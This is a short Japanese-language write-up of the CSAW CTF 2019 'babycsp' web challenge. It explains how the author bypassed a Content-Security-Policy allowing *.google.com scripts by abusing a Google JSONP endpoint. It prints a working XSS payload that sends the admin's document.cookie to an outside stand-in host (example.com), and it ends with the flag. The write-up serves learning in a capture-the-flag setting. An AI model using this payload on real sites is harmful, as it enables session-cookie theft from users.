CSAW CTF 2019 Qualification Writeup - babycsp (web 50)

最近CTFでてもWriteup書いてなかったのでかく。解いたのはWebの3問。

問題としてはユーザーの入力を保存しておいて、それを表示でき、さらに管理者に通報機能で投稿を管理者にもアクセスさせることができるという最近よくあるパターンの問題。投稿の表示画面にはXSS脆弱性があるがCSPで守られている。きっと管理者のCookieを盗み出せばいいんだろうと想定し、どうやってCSPを突破すれば良いか考えた。

f:id:iso0:20190916161232p:plainf:id:iso0:20190916161349p:plain

CSPの指定は次の通り。

Content-Security-Policy: default-src 'self'; script-src 'self' *.google.com; connect-src *

ここで*.google.comscript-srcに指定されていることに注目。CSPによる制限をBypassする方法としてJSONPを利用する方法がよく知られていて、*.google.comが指定されている場合はこの手法を使うことができる。

具体的なURLはググれば出てくるが、例えば以下にまとめられている情報が役に立った。

github.com

上記のページにいくつかのJSONPエンドポイントがまとめられているが、記号の利用が制限されていたりする場合がありいくつか試した結果https://accounts.google.com/o/oauth2/revoke?callback=が最も使いやすかった。

次のようなスクリプトを投稿に書き込み管理者に閲覧してもらうとRequestbinなどを使ってCookieを入手することができる。

<script src="https://accounts.google.com/o/oauth2/revoke?callback=location%3D%27https%3A%2F%2Fexample%2Ecom%2F%3F%27%2Bdocument%2Ecookie%3B"></script>

上記のリクエストで返ってくるJavaScriptは次の通り。

// API callback
location='https://example.com/?'+document.cookie;({
  "error": {
    "code": 400,
    "message": "Invalid JSONP callback name: 'location='https://example.com/?'+document.cookie;'; only alphabet, number, '_', '$', '.', '[' and ']' are allowed.",
    "status": "INVALID_ARGUMENT"
  }
}
);
flag{csp_will_solve_EVERYTHING}